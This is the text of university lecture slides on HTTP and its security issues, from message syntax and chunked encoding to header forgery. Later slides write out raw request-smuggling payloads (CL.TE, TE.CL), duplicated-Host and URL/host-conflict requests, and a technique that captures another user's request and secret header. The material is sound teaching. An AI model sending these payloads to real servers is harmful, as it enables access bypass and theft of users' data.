HTTP – Strike 1
CSE 598 Advanced Security of the Web
Fish Wang
Fall 2026
Three central questions
Three central technologies
Three central technologies
Hypertext Transport Protocol
HTTP – Important Terms
HTTP – Overview
HTTP – Overview
HTTP Request
HTTP Response
Server
Client
HTTP – Overview
Firewall
Proxy
Server
Client
The evolvement of HTTP
10
The evolvement of HTTP (Cont’d)
11
The evolvement of HTTP (Cont’d)
12
The evolvement of HTTP (Cont’d)
13
Requests
Requests – Syntax
Requests – Methods
Requests – Methods
Requests – Example
GET / HTTP/1.1
User-Agent: curl/7.37.1
Host: www.google.com
Accept: */*
Host Header and HTTP/1.1
Modern Requests
GET / HTTP/1.1
Host: www.google.com
Accept-Encoding: deflate, gzip
Accept: text/html,application/xhtml+xml,application/xml; q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Responses
Responses – Syntax
Responses – Status Codes
Responses – Status Codes
Responses – Status Codes
Requests – Example
GET / HTTP/1.1
User-Agent: curl/7.37.1
Host: www.google.com
Accept: */*
Responses – Example
HTTP/1.1 200 OK
Date: Tue, 13 Jan 2015 03:57:26 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: …
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=0.02
Accept-Ranges: none
Vary: Accept-Encoding
Transfer-Encoding: chunked
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Go …
Capturing HTTP traffic
28
How much data should the server read?
29
Content-Length
GET / HTTP/1.1
Host: goodhost.com
Content-Length: 10
My content
30
Transfer-Encoding: chunked
GET / HTTP/1.1
Host: goodhost.com
Transfer-Encoding: chunked
a
My content
0
31
Other transfer encodings
32
Monitoring and Modifying HTTP Traffic
HTTP Authentication
HTTP Basic Authentication
HTTP 1.1 Authentication
Security Issues (Strike 1)
37
Threat models
38
HTTP frontend as firewalls & proxies
39
HTTP header forgery
40
X-Forwarded-For forgery
41
HTTP client IP
X-Forwarded-For value, if X-Forwarded-For is set
IP of the request client, otherwise
HTTP headers from CDN
42
URL/host conflict
43
GET http://192.168.0.4/secret HTTP/1.1
Host: goodhost.com
Let’s check http://goodhost.com/secret
Let’s access http://192.168.0.4/secret
Duplicated HTTP header entries
44
GET /secret HTTP/1.1
Host: goodhost.com
Host: evilhost.com
Firewall: goodhost.com/secret can be accessed
Webserver: Accessing evilhost.com/secret
Error corrections in HTTP parsers
45
Frontend-backend desync
46
CL/TE desync
47
CL.TE explained
POST / HTTP/1.1
Host: evilhost.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
48
What frontend sees
What backend sees
CL.TE explained (Cont’d)
POST / HTTP/1.1
Host: evilhost.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
49
To backend, it becomes the beginning of the next HTTP request
TE.CL explained
POST / HTTP/1.1
Host: evilhost.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
50
What frontend sees
What backend sees
TE.CL explained (Cont’d)
POST / HTTP/1.1
Host: evilhost.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
51
To backend, these lines become the beginning of the next HTTP request
Building an attack using CL.TE
52
POST / HTTP/1.1
Host: evilhost.com
Content-Length: 49
Transfer-Encoding: chunked
0
GET /secret HTTP/1.1
Host: evilhost.com
�GET / HTTP/1.1�Host: evilhost.com
Building an attack using TE.CL
53
POST / HTTP/1.1
Host: evilhost.com
Content-Length: 3
Transfer-Encoding: chunked
0
GET /secret HTTP/1.1
Host: evilhost.com
Frontend request rewriting
54
Initial request (CL.TE)
POST / HTTP/1.1
Host: evilhost.com
Content-Length: ???
Transfer-Encoding: chunked
0
POST /save HTTP/1.1
Host: evilhost.com
Content-Length: ???
content=POST /save HTTP/1.1
Host: evilhost.com
...
55
Initial request (CL.TE)
POST / HTTP/1.1
Host: evilhost.com
Content-Length: ???
Transfer-Encoding: chunked
0
POST /save HTTP/1.1
Host: evilhost.com
Content-Length: ???
content=POST /save HTTP/1.1
Host: evilhost.com
...
56
1
2
1
2
Backend
Frontend
Initial request (CL.TE)
POST / HTTP/1.1
Host: evilhost.com
Content-Length: ???
Transfer-Encoding: chunked
0
POST /save HTTP/1.1
Host: evilhost.com
Content-Length: ???
content=POST /save HTTP/1.1
Host: evilhost.com
Secret: big-secret
...
57
1
2
1
2
Backend
Frontend
Why don’t HTTP servers strictly check?
58
Questions?
59